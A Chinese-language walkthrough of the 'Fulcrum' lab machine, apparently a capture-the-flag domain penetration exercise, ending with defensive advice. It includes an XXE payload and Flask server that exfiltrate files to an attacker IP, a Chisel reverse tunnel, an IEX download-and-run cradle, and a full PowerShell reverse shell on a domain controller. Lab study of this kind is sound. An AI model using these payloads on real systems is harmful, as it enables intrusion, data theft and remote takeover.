域渗透实战之fulcrum
字数 1100 2025-08-24 07:48:23

域渗透实战之Fulcrum - 详细教学文档

信息收集阶段

端口扫描

使用nmap进行全面的端口扫描:

nmap -sV -p- 目标IP

发现大量开放端口,需要重点关注以下服务:

  • Web服务端口(如80、443、8080等)
  • 数据库服务端口(如3306、5432等)
  • 管理接口端口(如5985/WinRM、88/Kerberos等)

Web服务枚举

  1. 目录暴力破解

    dirb http://目标IP/ /path/to/wordlist.txt
    

    发现home.php存在但无法直接利用

  2. 参数Fuzzing

    wfuzz -c -z file,/path/to/wordlist.txt --hc 404 http://目标IP/FUZZ
    
  3. 特殊端口检查

    • 访问88端口发现phpMyAdmin登录界面
    • 尝试常见弱口令组合未果

漏洞利用

XXE漏洞利用

在56423端口发现XXE漏洞:

  1. 构造恶意XML

    <?xml version="1.0" encoding="utf-8"?>
    <!DOCTYPE data SYSTEM "http://攻击者IP/dtd?fn=目标文件">
    <data>&send;</data>
    
  2. 准备DTD文件服务器

    from flask import Flask, request
    
    app = Flask(__name__)
    
    @app.route("/dtd")
    def dtd():
        fn = request.args['fn']
        return f"""<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource={fn}">
        <!ENTITY % all "<!ENTITY send SYSTEM 'http://攻击者IP/exfil?data=%file;'>">
        %all;"""
    
    @app.route("/exfil")
    def data():
        b64data = request.args['data']
        # 解码并处理数据
        return ""
    
    if __name__ == "__main__":
        app.run(host="0.0.0.0", port=80)
    
  3. 执行文件读取

    curl -X POST http://目标IP:56423 -d @malicious.xml
    

获取初始立足点

  1. 通过XXE读取敏感文件

    • /etc/passwd
    • Web应用配置文件
    • 数据库连接文件
  2. 发现数据库凭据
    config.inc.php中找到用户名和加密密码

  3. 密码解密
    根据加密方式(如base64、md5等)尝试解密

权限提升

内网枚举

  1. 上传nmap进行内网扫描

    nmap -sV -p- 192.168.122.0/24
    

    发现5985端口(WinRM)开放

  2. 检查网络共享

    smbclient -L //目标IP -U 'username%password'
    

横向移动

  1. 隧道搭建
    使用Chisel建立SOCKS隧道:

    # 攻击机
    ./chisel server -p 8000 --reverse
    
    # 目标机
    ./chisel client 攻击机IP:8000 R:socks
    
  2. 配置代理
    在攻击机上配置proxychains使用建立的SOCKS隧道

  3. WinRM连接

    proxychains evil-winrm -i 内网IP -u username -p password
    

域渗透

活动目录枚举

  1. 使用PowerShell查询LDAP

    $de = New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=fulcrum,DC=local", "username", "password")
    $ds = New-Object System.DirectoryServices.DirectorySearcher($de)
    $ds.Filter = "(objectClass=user)"
    $ds.FindAll() | % { $_.Properties }
    
  2. 查询域管理员

    $group = [ADSI]"LDAP://CN=Domain Admins,CN=Users,DC=fulcrum,DC=local"
    $group.Member | % { [ADSI]"LDAP://$_" } | select name
    

使用PowerView进行高级枚举

  1. 上传PowerView.ps1

    IEX(New-Object Net.WebClient).DownloadString("http://攻击机IP/PowerView.ps1")
    
  2. 执行域枚举

    Get-NetUser | select samaccountname,description
    Get-NetGroup -GroupName "Domain Admins"
    

获取域控权限

  1. 发现域管凭据
    在共享文件或配置文件中发现域管理员密码

  2. 通过WinRM执行命令

    $cred = New-Object System.Management.Automation.PSCredential("fulcrum\administrator", (ConvertTo-SecureString "密码" -AsPlainText -Force))
    Invoke-Command -Computer dc.fulcrum.local -Credential $cred -ScriptBlock { whoami }
    
  3. 反弹Shell

    Invoke-Command -Computer dc.fulcrum.local -Credential $cred -scriptblock { 
        $client = New-Object System.Net.Sockets.TCPClient('攻击机IP',53);
        $stream = $client.GetStream();
        [byte[]]$bytes = 0..65535|%{0};
        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
            $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
            $sendback = (iex $data 2>&1 | Out-String );
            $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
            $stream.Write($sendbyte,0,$sendbyte.Length);
            $stream.Flush()
        };
        $client.Close() 
    }
    

后渗透阶段

  1. 获取用户标志

    type C:\Users\用户名\Desktop\user.txt
    
  2. 获取系统标志

    type C:\Users\Administrator\Desktop\root.txt
    
  3. 持久化维持

    • 创建计划任务
    • 添加后门账户
    • 部署Web Shell

关键工具清单

  1. 信息收集

    • nmap
    • dirb/wfuzz
    • smbclient
  2. 漏洞利用

    • Burp Suite
    • 自定义Python脚本
  3. 横向移动

    • Chisel
    • Proxychains
    • evil-winrm
  4. 域渗透

    • PowerView.ps1
    • Mimikatz
    • BloodHound

防御建议

  1. 针对XXE漏洞

    • 禁用外部实体解析
    • 使用安全的XML解析器
  2. 针对域安全

    • 实施最小权限原则
    • 启用LSA保护
    • 监控异常LDAP查询
  3. 通用防御

    • 定期更新和打补丁
    • 实施网络分段
    • 启用详细的日志记录和监控

本教学文档详细记录了从信息收集到域控获取的完整过程,重点突出了XXE漏洞利用、内网横向移动和活动目录枚举等关键步骤。实际测试中应根据目标环境调整具体参数和方法。

域渗透实战之Fulcrum - 详细教学文档 信息收集阶段 端口扫描 使用nmap进行全面的端口扫描: 发现大量开放端口,需要重点关注以下服务: Web服务端口(如80、443、8080等) 数据库服务端口(如3306、5432等) 管理接口端口(如5985/WinRM、88/Kerberos等) Web服务枚举 目录暴力破解 : 发现 home.php 存在但无法直接利用 参数Fuzzing : 特殊端口检查 : 访问88端口发现phpMyAdmin登录界面 尝试常见弱口令组合未果 漏洞利用 XXE漏洞利用 在56423端口发现XXE漏洞: 构造恶意XML : 准备DTD文件服务器 : 执行文件读取 : 获取初始立足点 通过XXE读取敏感文件 : /etc/passwd Web应用配置文件 数据库连接文件 发现数据库凭据 : 在 config.inc.php 中找到用户名和加密密码 密码解密 : 根据加密方式(如base64、md5等)尝试解密 权限提升 内网枚举 上传nmap进行内网扫描 : 发现5985端口(WinRM)开放 检查网络共享 : 横向移动 隧道搭建 : 使用Chisel建立SOCKS隧道: 配置代理 : 在攻击机上配置proxychains使用建立的SOCKS隧道 WinRM连接 : 域渗透 活动目录枚举 使用PowerShell查询LDAP : 查询域管理员 : 使用PowerView进行高级枚举 上传PowerView.ps1 : 执行域枚举 : 获取域控权限 发现域管凭据 : 在共享文件或配置文件中发现域管理员密码 通过WinRM执行命令 : 反弹Shell : 后渗透阶段 获取用户标志 : 获取系统标志 : 持久化维持 : 创建计划任务 添加后门账户 部署Web Shell 关键工具清单 信息收集 : nmap dirb/wfuzz smbclient 漏洞利用 : Burp Suite 自定义Python脚本 横向移动 : Chisel Proxychains evil-winrm 域渗透 : PowerView.ps1 Mimikatz BloodHound 防御建议 针对XXE漏洞 : 禁用外部实体解析 使用安全的XML解析器 针对域安全 : 实施最小权限原则 启用LSA保护 监控异常LDAP查询 通用防御 : 定期更新和打补丁 实施网络分段 启用详细的日志记录和监控 本教学文档详细记录了从信息收集到域控获取的完整过程,重点突出了XXE漏洞利用、内网横向移动和活动目录枚举等关键步骤。实际测试中应根据目标环境调整具体参数和方法。